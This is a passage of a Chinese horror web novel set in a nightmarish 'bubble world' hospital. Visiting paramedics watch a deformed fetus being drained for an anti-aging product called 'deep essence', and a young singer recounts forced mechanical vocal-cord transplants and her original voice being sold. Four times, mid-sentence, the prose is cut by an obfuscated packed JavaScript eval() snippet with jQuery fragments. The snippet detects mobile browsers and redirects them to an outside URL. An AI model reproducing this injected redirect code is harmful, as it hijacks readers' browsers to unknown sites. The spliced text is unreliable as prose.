这个畸形儿看不出什么婴儿的样子,他没有手没有脚,只是一团皱巴巴的肉,作为肉团他的形状也不是规则的圆球,而是发育初期的胚体的样子,有一个大大的脑袋,和一个带着类似尾巴结构的蜷缩着的身体。它的身上并不光滑,长着许多绿豆至蚕豆大小的肉瘤,像是一串质量不好的淋巴肉。如果光是这样,还不足以让蒋裕那么失态,但这个“婴儿”的脑袋上只有一只比成人还大的眼睛,却有好几张嘴,正在蠕动咀嚼着。他实在不愿意去想,那嘴里血红的东西是什么。 但手术室里除了他,谁也没对这个怪胎表示惊讶。 蒋裕不相信,这个泡世界的人出生时都是这副可怖的模样。 这个“婴儿”被拿出来后,主刀并没有剪断他的脐带,而是拿着一个50ml的针筒垂直扎进眼球中央,用力往外抽拉,数张嘴同时大声嚎啕起来,鲜血和肉糜一下子就灌满了那个针筒。 刚才剖腹取胎时,大家动作淡定有条不紊,反倒是听到这嘹亮的声音时,不少人都瑟缩了一下。 护士眼疾手快,拿出准备好的奶嘴,一个一个塞进他的嘴里。 哭嚎声戛然而止,取而代之的是一阵塑胶的咀嚼声。 针筒取下后,眼睛原本的位置只剩下一个血红的深洞,里面粉黄色的软肉还在蠕动。 护士接过那截装满了血色混悬液的针筒,小心地放在了托盘上,用一张蓝色的绒布包好,贴上封签,上面标着“初生原液”几个字。 蒋裕胃里一阵翻腾,一助正把那个还连接着脐带的怪胎递给他。 他下意识地后退了一步。 一助皱皱眉头,自己把手伸进机器里,拽出一根半透明的蓝色粗管插进眼睛那个洞里。 管子带有吸力,如同触手般牢牢吸住了这个刚来到人世的小怪胎。 他显然很痛,小小的身体都在颤动,想要放声大哭,但嘴里塞着异物,他只能更加用力地咬着,来发泄身上的痛苦。 蒋裕不忍看了,虽然这个畸形的胎儿模样怪异恐怖,但他却仿佛感受到了他的痛。 这绝不是在接生。 但蒋裕不能阻止这一切,他刚才的抗拒已经引起别人的不满了,他只能沉默。 连着吸管的肉团被放进了机器里,眼睛得到了休息,但听觉却更加灵敏,他听着那阵阵的嗡鸣声,脑海里自动浮现出一个肉团被吸得越来越小,最后只剩一张皱缩的肉皮。 连接着母体的脐带一跳一跳的,像连接着一颗满负荷的心脏。 蒋裕觉得自己的心脏还没到能承受这些的地步,但一助并没打算让他置身之外,递了一块无菌布给他,指了指机器那如同地狱的开口。 他深呼吸着,在里面摸索,感谢布料的阻隔,他不必直接去触摸那一摊软烂的肉,但如他所想,这个肉团比刚才小多了。 他颤抖着手,捧出了这个只有原来三分之一大小的胎儿,他已经不哭了,奶嘴不见了,连每张嘴的嘴唇都咬烂了。 这得有多疼? 比起害怕,他现在更多的是心疼,是的,他心疼一个怪胎。 他觉得这间手术室里站着的一个个“人”,都比这个四肢五官全不正常的胎儿,更加不像人。 “愣着干什么?”李俊不悦道。 蒋裕咬着牙,忍下心头的愤恨,递上了那个胎儿。 李俊没有接,冷声道:“提取后的处理流程你不知道吗?” 蒋裕装着平静的语气道:“我刚跟台,带教没教过。” “没培训过的住院医都不能上深细胞手术,更不要说规培生了。” 李俊一双凌厉的眼睛盯着他:“你是谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628345|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋裕的背后瞬间被冷汗浸透。 他已经明显感觉到这个域里不安全,但是手上还捧着那个怪胎,空不出手来开急救箱。 李俊一步步向他走来。 蒋裕急得汗水都流进了眼睛里,视线模糊了一大片。 “主任,搞错了。”手术间大门从外面打开,一个穿着洗手衣的男人走了进来,“我只是让他送东西而已。” 蒋裕提着的一口气终于是松了下来。 “董飞?你进来干什么,我这边已经快完成了。”李俊看向来者,脸色倒是变得更臭了。 进来的男人看上去三四十岁,蒋裕猜他起码也是个副主任,因为他面对李俊时不卑不亢,应该职称没有相差太多。 “快完成了就好,有问题叫我。”董飞笑笑,视线扫过手术间里侧那台庞大的机器,定定地看了好几秒才移开目光,垂下的手攥成拳头,又很快松开。他转向蒋裕,“赶紧放下,别耽误李主任做手术。” “哦哦。”蒋裕把无菌布包着的胎儿递给一助。 李俊冷哼一声,“别以为我不知道你在想什么,收收你那点小心思,别搞小动作。” 董飞的表情有那么一刻变得僵硬,但很快就调整了过来,还是那副微笑的样子,“李主任,我不知道你在说什么。来吧,洗个手跟我上台去。” 后面那句是对蒋裕说的,蒋裕如临大赦,屁颠屁颠地跟着他出了1号手术间。 “董主任……” “嘘。”董飞把食指抵在嘴唇上。 蒋裕想起了1号手术间里那些隔音棉和隔音罩,立刻比了个OK,食指拇指捏在一起从嘴唇上划过,示意自己已经把嘴缝上了。 董飞点点头,领着他往前走。 靠近手术室大门就是办公室的位置,另一边则是手术室前台,董飞用工牌刷开了办公室的门,跟蒋裕一起走进去。 办公室的墙面上有一盏醒目的绿灯。 确认绿灯亮着,董飞才开口:“你看到了吗?” “什么?” “刚才的手术。” “我……”对于刚才那场手术,蒋裕光是想想就要反胃了。 “有几只眼睛?” “什么?” “那个供体,不,胚胎有几只眼睛?” “……一只。” “二次提取,他居然真的这么做了……”董飞双手抱头抵着墙面,双目紧皱,似在忍受巨大的痛苦。 “那个,他这是什么手术?” 董飞很快恢复了正常的姿态和神情,温和地摇摇头:“你还是不知道为好。” “那我……” “我还有点事,下场手术1个小时后开始,你在这儿休息会吧,等要上台了我来叫你。” “好的,董主任。” 董飞似乎真的把他当成了自己带教的规培生。 他走以后,蒋裕还是心有余悸,刚才那样的手术,一看就不可能通过伦理审查的,还是自己的泡世界好啊,才不会出现这种丧心病狂的事。 蒋裕点开手环,时间还剩9个多小时,不知道程昭怎么样了。 他不知道的是,程昭此刻就躲在办公室对面的前台下面,跟他只相隔一条走廊。 5. 手术室请安静(三) 程昭跟肖音音并排缩在前台的桌子底下。 肖音音就是那个不想做手术的萌妹子。在躲进下面之前,她从桌上顺了纸和笔,靠写字跟程昭交流。 【怎么办???】 三个重重的问号,足见她的紧张程度。 不过程昭也没比她好到哪里去。 刚才透过小窗看出去,手术室门外站满了“人”,打引号是因为她也不确定那些生物到底是不是人。 外面的每一个人都瞪着猩红的双眼,眼白也布满血丝,仿佛眼眶都要撑裂,离她最近的那个人看到她就激动起来,胸廓剧烈起伏,隔着衣服能看见根根分明的肋骨形状。他的大半个眼球都挤出了眼眶,在空气中晃晃悠悠。这样还嫌不够,他把整张脸都贴在了窗上,越贴越紧,眼球越来越大,直到被玻璃挤压成薄片,有血雾溅在窗玻璃上,他却好像完全没知觉一样,瞪着两个血窟窿尽力往前挤,把手术室大门都撞得哐哐响。 好在电子门锁还算坚固。 这些人不仅是眼睛奇怪,皮肤也不正常,裸露的皮肤上布满了星星点点的血管痣,按理说这种良性皮肤病是中老年女性会长得比较多,但这外面的人明明看脸都很年轻,身上的皮肤却完全不符,松松垮垮的,说七老八十了都有人信。 随着第一个人跟她对上视线后,其他人也陆陆续续发现了她,都神情狂热地往门上挤,仿佛饥饿的人看到了什么美食珍馐一般,伸出痩长的红舌在玻璃上舔来舔去,倒是把前人挤爆的眼球残渣给卷进了嘴里。吃进去后还露出一副飘飘欲仙的表情,不停吞吐着舌头回味,很快玻璃上的血污就被舔干净了,只剩下口水的印记。 有几个人张了张嘴,像在说什么,隔着厚实的大门,程昭听不到。 很快,外面越来越多的人加入,以相同的频率张着嘴,说着同样的话。 程昭强忍着精神上的折磨,努力去分辨他们的口型。 “给我……给我……” 盯着看了好一会儿,她还是只能分辨出前两个字,后面两个字,她实在是对不上。不过好消息是,怎么读都应该不是“人肉”这两个字。 眼见着外面的人群越来越激动,甚至有人开始捶门,程昭不敢再拉仇恨,跟肖音音一起躲到了前台下面。 看不到人以后,外面的骚动渐渐平息了。 不过这下程昭可犯了难,肖音音肯定不能从这里出去了。她都能预感到一旦开门,这些猩红的人形物就会一拥而上,把她们吞吃殆尽。 可是大门不能走的话,她等会儿找到患者后要从哪儿出去找救护车呢。 程昭只能在纸上写下一个字——“等”。 等什么,等蒋裕啊,在这个突然就冒出来团红线把人吸死的地方,她还是先跟同事汇合再说。 然后她就真听到了蒋裕的声音,还从脚步声判断出有两个人进了办公室,接着又有一个人出来了,她偷偷探出头来看,是一个不认识的中年医生。 这么说来,还留在办公室里面的人,应该就是蒋裕了。 程昭又等了一会儿,确定走廊里没人以后,来到了办公室门口。 然后她就犯了难,直接按门把手是打不开的,这门居然是要刷工牌进去的,她兜里是空空如也的,不知道里面的蒋裕能不能开门。 可是敲门的音量会不会吸引那些红线呢? 这手环还是不够智能啊,怎么就没开发出通讯功能呢? 在门外踌躇了一会儿,程昭又退守回了前台,扒着桌面蹲下,只露出一双眼睛。 她拿了一张空白的手术知情同意书,团把团把往办公室门上扔。 只有很轻的“噗”一声。 程昭谨慎地察看四周角落和地面,都没有红色丝线冒出来,看来这个声音太轻了,不会触发它们。 但坏处是,也不能触发对面,办公室毫无动静。 她把水笔的笔盖拔了下来,继续往门上扔。 依旧没动静,不管是好的还是坏的。 肖音音紧张地看着她,但是没有阻止。 程昭拔了前台的电话线,把座机抱在怀里。 要是这动静都不成的话,她这条命就算在蒋裕这个猪队友头上! 深色的座机在空中划出一条抛物线,由于重量,高度快速下降。程昭抛出去时没敢用很大力,她不确定那玩意儿是不是声音越大爬得越快,要是巨响会助长速度的话,她可来不及跑。 但她低估了座机的分量,看这走势还没砸门上,就要坠地了! 果然,在座机跟地面亲密接触的那一刻,就有红色丝线从手术室那个方向涌来。它无法在没有支撑的空中存在,只能依附在实物上,就像一只无形的蜘蛛在地面上飞速织网,极短的时间里织出了一张长长的带分支的网。 程昭见地面不安全,拉着肖音音站到了前台上,就算红线过来,也得往上爬一阵。 由于站得高,这回程昭看清了,红线并不是单纯地把网铺开。当分支延伸到一定长度却没有收获时,它就会往回缩,重新附着到主体上,让主体变得更粗壮,然后主体就继续拉长前行,生出分支,不断重复这个过程。 这种生长模式,有点像黏菌啊。 难道这是院感爆发? 红色丝线已经把座机包绕起来了,但显然它们对非生物不敢兴趣,只缠绕了一会就松开回缩了。 有一股分支似乎是捕捉到了活人的呼吸声,开始顺着前台向上爬,其余的分支都在慢慢收回主体,而主体也在往这个方向伸出更多分支。 程昭右手一只笔,左手一个病历夹,打算等红色黏菌爬到一半的时候再声东击西。 蒋裕就是在这个时候开的门。 他听到声响以后没有马上动作,听到外面没了声音,才开门一看究竟。门刚开一条缝就看到走廊满地的红色条纹,虽然不知道是什么,但120的经验让他练就了条件反射,立马就要关门,都没注意到程昭就在对面台子上站着。 程昭气得破口大骂:“你特么瞎啊!门开大点!” “啊?”蒋裕抬头,程昭正站在对面台子上,居高临下地看着他,一手举着笔,一手怀抱着病历夹,宛如一座自由女神像。 靠,这姿势还有点帅的啊。 蒋裕到底也是在重叠域里摸爬滚打过好几月的,身体动作比脑子快,没去细想现在的情况,赶忙把门完全拉开了。 “一、二、三— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628346|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —跳!” 程昭揽着肖音音,两人一同起跳,赶在红线在脚下聚集的那一刻,向前扑去,摔进了对面的办公室里。 红线的动作也很快,前台上的分支纷纷缩回,在走廊上的主干同一时间向办公室大门分出细支。 蒋裕一手拉着一个人,把摔得动弹不得的她俩往里面拖,右脚勾着大门往前一顶,把门砰的一声关上了。 程昭还记得这玩意儿能钻门缝,虽然摔得浑身碎了一样地疼,还在努力地往里面爬。 蒋裕没经历过那些,见红线被挡在了外面,往办公椅上一倒,大喘着气:“没事了,你歇歇吧。诶妹子,你又是谁啊?” “闭嘴!”程昭听到声音,心脏一紧,但转头一看大门,竟无事发生,那些红色黏菌并没有钻进来。 肖音音已经慢慢扶着墙坐了起来,她看出蒋裕和程昭是一伙的,跟他打了个招呼:“你好,我叫肖音音。” “卧槽,谁在说话?!” 蒋裕的头左右打转,紧张地四下找寻,他怎么没发现这办公室里头还藏着个男人呢! 肖音音脸涨得通红,缓缓举起手:“那个,是我……” “你,啊,你,哦,你,你,你伪娘?”蒋裕问出了程昭一直想问,但没好意思问出口的话。 万一人小姑娘,啊不,小伙子是性别认知障碍什么的,那可是政治正确的大事,随随便便问出口,是要被扣性别歧视帽子的。 不过蒋裕本来就是个地域歧视的惯犯了,区区性别歧视的帽子,扣上了也是凭白给他涨一点身高,根本道德绑架不了他。 肖音音听了以后很难过的样子,头摇得像拨浪鼓,琥珀色的眼睛里噙着泪水:“我不是,不是伪娘,我就是女生……” 听着这种娇滴滴的话从一个青年烟嗓里冒出来,程昭和蒋裕都鸡皮疙瘩掉了一地。 “好了,你闭嘴吧。”蒋裕对她做了个捂嘴的姿势。 肖音音点点头,靠着墙暗自神伤。 程昭也从摔伤的疼痛里缓过劲来,爬上了蒋裕对面的椅子坐着。 “你这个地方,能说话?” “能啊,刚才有个医生带我来的,这里好像比较安全。”蒋裕指了指墙上的绿灯。 两个人正坐在灯下,头顶都被映得绿油油的。 “外面的到底什么东西?” 程昭回想了一下自己看到的情形:“我觉得,有点像某种黏菌,对声音敏感,好像是超过一定分贝就会触发。挺危险的,有攻击性,上来就吸死我们手术间一个麻醉师,千万不能接触到它。” “你上手术了?” “没做成,这个就是麻醉提前醒了跑路的病人。”程昭指了指肖音音,虽然并没有刻意避开这个他泡世界的人,但两人都不约而同地降低了音量。 “你呢,进来以后怎么样?” “呼,别提了,刚进来就跟了一台手术,没想到都出120了,还干门诊的活……那个手术超级重口的!我都不知道他们怎么想出来的……手术间也很奇怪,就是1号间,门上小窗都封起来的那个……” 程昭闻言挑眉:“巧了,我刚才看到,那种红色黏菌的源头也是1号手术间。” 6. 手术室请安静(四) 蒋裕小声地说完了他的遭遇,听得程昭直摇头:“这手术肯定通不过伦理啊。” 她摸摸下巴,又补了一句:“要是这种手术都能通过,那医学伦理委员会肯定收钱了。” “谁说不是呢。”蒋裕接茬,“你是觉得,那种红色黏菌,跟这个手术有关系?” “它明显是有个本体的,我们在外面看到的都是分支,无非大分支小分支的区别,我觉得它的本体很有可能就在1号手术间,你在里面没看到类似的东西吗?” “没有,房间里就是有很多隔音材料,但是手术过程里都是正常说话的,如果它源自1号手术间的话,应该一个人都跑不掉才对啊。” “你说得也有道理。”程昭揉了揉肩膀,这里应该是摔出淤青了,光是隔着衣服摸,都能摸到肩胛外侧肿起来了,“你不是说急救制服有保护作用吗?感觉一点缓冲都没有啊。” “只提供拟态保护,没有冲击保护啊,带那种程度保护的是治安队的制服。” “什么治安队,城管啊?” 蒋裕嘴角抽搐了下:“要是被治安队听到你这么说话,很难说下次遇到三级事件,他们会不会直接扔下你不管。” “啥意思?” “唉,进来得匆忙,都没跟你解释过,泡世界不良事件分四级,只有四级事件会让120单独出动,三级以上的不良事件都会联动110,一般到二级那种情况的话,120、110、119三家都要出动了。至于一级事件,只存在于理论上,现实中还没有出现过,不过真到了那种地步,也轮不到咱们上,会有大佬去解决的。 扯远了,就像我们医院是120特殊的分支一样,治安队也是110里的某个特别部门,可以理解为时空特警吧,危险程度比较高的事件里,治安队会跟我们急救队一起进域里。一般来说,我们负责救人,他们负责解决域里的危险保护我们,所以他们的制服功能要多一点。对呀,我怎么没申请一个治安队员进域呢,虽然是四级事件,但也可以申请试试的嘛……”蒋裕碎碎念。 “听起来好好啊……” “是啊,其实一般治安队人都蛮好的。” “我说他们的制服好好啊,等出去以后我能不能去偷——呸,领一套啊?” “你思想很危险啊,这是盗窃公物你知道嘛?”蒋裕警告道,“治安队的纪律可比我们严肃多了。” “行吧,果然医务人员是体制内地板,在哪儿都一样。” 程昭叹了口气,趴在桌面上,视线对上了一整排的蓝色文件夹。 “哎,你说这里会不会能找到什么线索啊?”她指了指桌面上的台账。 “有道理,没准里面会有手术相关的东西!”蒋裕精神为之一振。 程昭一眼就看中了手术记录本,翻开一看,里面记录的手术名称大都是她没听过的。例如“优肝移植术”,看上去像是活体肝移植术一类的。但更多的手术是做什么的她就不确定了,就像这个“声带换新术”,移植就移植,换新是什么意思,克隆的器官移植吗?还有几台“深细胞提取术”,这应该就是蒋裕说的那个明显违反伦理的手术了。 但这里面只有手术的日期和台数,没写手术具体的内容。 蒋裕也挨个打开文件夹看。 光看书脊上的标签,似乎没什么特别的。 程昭拉开抽屉,倒有意外收获,最下面的抽屉里躺着一个灰色的文件夹,上面没有标签,看起来跟那些台账不是一批的。 打开一看,里面是一份报告——《关于深素注射时间间隔改进的可行性分析》。 程昭快速翻了翻,刚开始有些疑惑,慢慢就皱起了眉头。 这份报告里阐述的深素是一种深细胞提取加工后的制品,用途广泛,具有超分子活性,可用于细胞再生、抗衰老,甚至治疗癌症等。它不仅是治病的药品,还可以作为保健品给健康人群注射,坚持每6个月注射100单位的深素,能有明显的细胞年轻化改善,包括并不限于肌肉含量上升、神经活性提升以及肌肤胶原蛋白的丰盈——简单来说,就是能返老还童,青春永驻。 这个话术有点熟悉,大多数卖保健品的都爱这么说。 这让程昭想起前两年新型肺炎病毒流行那会儿,一个治骨关节炎的老药突然号称自己能防治新型肺炎,猛一波推销,还煞有介事地拿出了临床试验报告。 此时的这份报告里有几份临床疗效观察就跟那个有异曲同工之妙。乍一看好像没什么问题,正儿八经分了实验组和对照组做的实验。 但程昭这种大四开始就在课题组里做牛马的,一眼就能看出,数据本身没问题,可是样本的选择有问题。如果她没猜错的话,这应该是一份经过“精心挑选”的样本,因此各项数据都很漂亮,漂亮到失真。 不过非科研专业的人是看不出来的,唬唬普通患者甚至是领导都足够了。 报告里的论文有好几篇,前面三篇都在阐述深素在各疾病领域获得的卓越疗效,而后几篇则在比较每6个月注射一次和每3个月注射一次的疗效。 这些文章都一致表示缩短注射间隔能明显提升细胞活性,在抗衰方面能取得更大的获益。 这是一份可行性分析,因此前面好处说完了,后面就在列举难点和拟解决措施了。 主要难点有三,首先就是观念问题,目前每6个月注射一次深素的方案为主流,需要加大宣传力度,在流媒体上投放,资助更多的医学专家为新方案背书等等。 第二是费用问题,100单位的深素居然要16万8一支,因为药品珍贵,有特殊注射手法,连注射费用都要9800一次。看得程昭连连咂舌,穷鬼基因作祟,恨不得自己也即刻加入这个深素团队。 怪不得要把注射间隔从6个月缩短到3个月,这样利润直接翻了一倍啊! 估计这个医院背后的资本野心不小,她越来越怀疑伦理委员会是真收了这项目的钱了。 最后一个难点是深素的供应问题,虽然利润很高,但因为深素供体少,提取难度大,加工损耗高,一直处于供应紧张的状态。如果还要进一步缩短注射间隔,那必然会造成供不应求的局面。对此,报告里提出需要资金来改进加工工艺减少损耗。 这一部分里有人用红笔做了批注,在供体和提取上各划了一个圈,旁边写了几个字——“放宽供体限制”、“加大提取量”。 “加大提取量”这几个字后面还画了箭头,指向的也是红色的字——“二次提取”。 字倒是还挺好看的,笔锋遒劲,笔画末尾微微划破纸面,应该用的是钢笔,还挺讲究。 蒋裕也凑过来看完了,他的脸色要比程昭难看得多。 程昭只是觉得这个计划有点黑心,而蒋裕则是快呕出来了。 他大概知道,二次提取是什么了。 也知道,董飞为什么要问他几只眼睛了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628347|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那个可怜的怪胎应该不是第一次提取了,最开始他的眼睛是完整的两只,初次提取弄瞎了一只,放回母体愈合了,但眼睛无法再长出来了。 所以二次提取时看到的胎儿就只剩一只眼睛了。 为了赚更多的钱,甚至要对一个未正式降生的孩子进行二次伤害,简直是丧心病狂! 那么,这些深素的消费者,他们知道这种昂贵珍稀的制剂来自于哪里吗? 如果知道了,还会趋之若鹜吗? 蒋裕不敢细想下去,他只想快点找到患者离开这里,手术背后暗喻的真相令他压抑难受。 他很难想象,这个泡世界的人实际上在过着怎样的生活。 这里的“人”是供体,还是耗材? 正在他思绪飘忽之际,程昭突然拉起了他的手臂。 “嗯?” 顺着程昭的视线看去,蒋裕看到肖音音正双手掐着自己的脖子,如濒死的鱼般张大了嘴,神情惊恐痛苦,喉咙间正发出“咔咔”的声音。 “不好!” 两人急忙跑到肖音音身边,扒开她的手,把她平放在地上。她的脖子上没有掐痕,即使失去了束缚,她依然是一副吸不上气的样子,连三凹征都隐约出现了,嘴唇也开始发绀。 “喉头水肿?你箱子里有肾上腺素吗?” “没有?那气切包呢?”见蒋裕再次摇头,程昭更急了,“你急救箱里怎么什么都没有啊?快开箱啊,有啥用啥了!” 蒋裕也是急得满头大汗,他的箱子里有什么他自己还能不知道吗? 拗不过程昭,他只好点开了自己的急救箱页面,一个银灰色的小箱子凭空出现。 掀开上盖,程昭短暂地沉默了几秒,然后面如死灰道:“出120,你箱子里就只放了一个听诊器?!” 蒋裕满脸懊恼,“唉,当初箱子没开好,其实我也很后悔的,早知道当时多想一点了……这听诊器凑合用……” “这要怎么凑合啊!”程昭急得直跺脚,“不赶紧气管插管可能人就要死了啊!” 蒋裕咬咬牙:“程昭,她不是我们世界的患者,其实我们没必要……” 程昭直视着他的眼睛:“如果她在这里死了,那她在原泡世界会怎么样?” 蒋裕垂下头去,避开了她的视线。 “也会死。” “行,你不管她,那我开自己的。”程昭点上手环的黄色小圈。 【是否确定开启**箱?】 【确定】 程昭心里已经打定了主意,如果药品过期,就暂时不用药了,只要是标准的急救箱,气管插管的材料肯定是齐全的。 虽然她也有段时间没插过管了,不过培训时还是做得很好的,只要气管条件不是特别差,成功率还是挺高的。 箱子从手环里取出来后表面的灰尘倒是没有了,看来只数据化了急救箱,没有把灰尘也编译进去。 这让程昭稍微放心了些,不然那个脏样,搞不好直接感染了。 蒋裕蹲在一旁盯着那个老款的蓝色箱子,他很好奇,这个“新人”能从急救箱里开出什么东西来。 程昭双手同时拨动箱子两侧的卡扣,上盖自动弹起,露出了里面黑色海绵垫着的—— 螺丝刀、扳手、羊角锤、测电笔…… “苍天啊!——”程昭双手抱头,仰天长啸,“怎么把救护车上的工具箱拿来了!” 7. 手术室请安静(五) 这同事是真不靠谱啊! 想到救护车上蒋裕还跟司机一唱一和的,她就恨不得拿起扳手给他俩一人一闷棍。 气恼会气恼,程昭也没有放弃救人,她在飞速头脑风暴,怎么利用工具箱里的东西进行气管插管。 听诊器上的橡皮管可以拆下来做管体,用内六角扳手长的那一头送进去…… 【叮!家用工具箱已激活,目前等级为1级。】 程昭看向蒋裕:“你在说什么鬼话?” 蒋裕一脸无辜:“我没说话啊,我在反省呢。” 他犯了把备用急救箱拿成工具箱这样的大错,哪里还敢说话。 “那谁在说话——你、你好了?”程昭眼看着肖音音自己坐了起来,惊了一下,虽然看她呼吸的频率还是有点快,但嘴唇已经恢复了红润。 “抱歉,我刚才是不是吓到你们了?”她的脸色还很苍白,声音沙哑得像一杆老烟枪。 “嗯,有点。”程昭跟蒋裕默契地同时后退一步。 这妹子上一秒还一副快死了的样子,下一秒就自己好了,怎么看怎么诡异。 肖音音抚上自己的咽喉,神情哀凄:“我的手术不能再拖了,这个机械声带快报废了……” “哈?” 他们听到了什么? 对面两人都露出了费解的表情。 还是程昭最先反应过来,高科技水平的世界,机械器官的存在也很合理嘛。 程昭顺着她的话问道:“你是女生,为什么要装一个男声的声带?” “因为我经纪人说现在流行小烟嗓。” “……经纪人?” 肖音音瘪了瘪嘴,眉眼间有几分怅然:“什么啊,真不认识我吗?看来他说的没错,我确实是十八线歌手,根本没什么人认识……这是我出道以来换的第四个机械声带了,第一次换了一个御姐音,没什么水花。后来还换过正太音、气泡音,其实气泡音那个还不错,我出了几首热单来着,但是那个声带不到半年就坏了,然后就换了现在这个,说是可用寿命一年,但是才9个月就开始频繁出故障,严重的时候会卡住气道,现在我已经到了再不做手术就要憋死的地步了。” “那你刚才为什么不要做手术呢?” 程昭听她的意思,这手术是非做不可的呀,怎么刚才还在手术间闹成那样?现在好了,主刀跑没影了,麻醉和护士被吸干了,就剩她一个拿不住刀的废柴一助了。 “我不想再装机械声带了……”她抽了抽鼻子,手指抓着喉咙,“好痛啊——装了机械声带后,每次说话都像把针吞进喉咙里那样痛。第一次装的那一周,我都说不了话。 机械声带上有12个八爪勾脚,每一个都要深插进肉里,再用钳子捏紧,死死地扣住喉咙,这样才不容易松动。机械结构卡着我的喉咙,每发出一个音节,都像是有一圈金属刺在喉管里刮,那种刺啦刺啦的声音,我好像自己都能听到,从喉咙一直传到脑子里。 喉咙痛,头也痛,痛得我忍不住呕吐,装了机械声带以后就不能正常吃饭了,固体食物会挤压到金属结构,只能喝营养液,我吐出来的都是夹杂着血丝的黄水。 我经纪人说,不可以不说话,一段时间不说就永远不会说了,所以从第二周开始,他逼着我每天念六个小时以上的稿子,说这样能够促进喉管贴合机械声带,等磨合好了就没那么痛了。 但是没有,还是好痛好痛啊,只是说得多了,麻木了,习惯了这种痛,不会再吐了而已。 他说我原本的声音难听,不会红,想要火,想要当被人们喜爱的歌手,就必须换声带。一次声带换新术要20万,全自费,经纪公司不报销,他们只是借钱给我,要我赚了钱以后还给公司,年利率40%……” “靠!”蒋裕听不下去了,“这完全就是高利贷啊!” “我16岁出道,到现在3年了,至今没有还清手术借的钱,发过几张专辑,有一两张小火,更多的都反响平平。 每次专辑卖得不好,就让我去换声带。机械声带刚换好的三个月声音最好听,到三个月以后就开始衰减了,所以每次换好的第一个月就开始演唱会,一个月20场,票卖得不好就去走商演。说实话,我也不知道这些年,到底赚了多少钱,因为一直都在还债,每次旧债还没还完,经纪公司就给我安排新的手术项目,就又欠他们钱了…… 但其实这些我都能忍受,我做歌手不是为了赚钱,我就是想唱歌而已,我从小就喜欢唱歌,我想让更多的人听到我,越多越好。 所以我可以做完手术的第二天就开始声乐练习,喉管磨烂了,就喷点再生因子继续练,我真的,真的很想被听见啊……” 肖音音扬起脸,晶莹的泪珠从眼角滚落下来,在脸颊上留下两道闪着微光的水痕。 “因为没钱,选的声带保质期都很短,每次都用不到一年就要换。而且我不喜欢这些声音,它们都不是我的声音,我好想用自己的声音唱歌啊。可是我16岁第一次参加唱歌比赛,就被评委说声音难听,不可能有起色,但经纪人还是找上了我,说我外型条件好,可以出道,我说我想做歌手,他说没关系的,换个声带就好了。 我信他了,用机械声带换下了我自己的声带,我天真地以为,只要愿意牺牲,就可以得到我想要的。 但是他骗了我!他是个可恶的骗子!我居然才知道,我的声音是好听的。那个出道前的歌唱比赛,有人看中了我的声带,私下里出钱买走了!我换上了机械声带,每天吞针一样的痛苦,可是我自己的声带呢!在别人身上啊啊啊!” 肖音音渐渐歇斯底里起来,配上沙哑的嗓音听上去如厉鬼般哭号。 “根本不是人啊!”程昭愤愤不平地骂道。 肖音音胸廓剧烈起伏,深呼吸了好几口,平复了一下心情,继续说道:“这是我的一个粉丝告诉我的,我出道前就喜欢自己录歌放在网上,她是在我比赛前就一直关注我、鼓励我的人。后来我换了声带,她虽然不喜欢,但还是会买我的专辑,支持我,只是每一次签售,她都会很认真地对我说,她喜欢我以前的声音。 我曾经以为这世上除了我自己,就只有她觉得我以前的声音好听。但是直到前段时间,她给我发了一段录音,说终于再次听到了我的声音,我才发现,原来当初换下的声带,并没有作为废物处理掉,而是卖给了别人……” “所以,带‘优’字的手术用的是人体器官,换新手术则是机械器官?”程昭好像突然就明白了那些手术名称的含义。 肖音音颔首:“是的,优体手术比换新手术贵很多,都是百万级一台的,看供体质量,上千万一台的也有。听说某个演员,就花两千万做了一台换脸手术,用的真人,换完就爆红了,接了好多广告,新剧剧本拿到手软,直接进军电影圈了……”说到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628348|172494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来,肖音音脸上浮现出现羡慕的神色。 “换真人的脸……那她还是她吗?难道不是已经变成另一个人了?” 程昭不敢细想,如果花钱就能买走一个人的脸,那被买走的人会怎么样呢,是再换上别人的脸,还是换一张机械假脸? 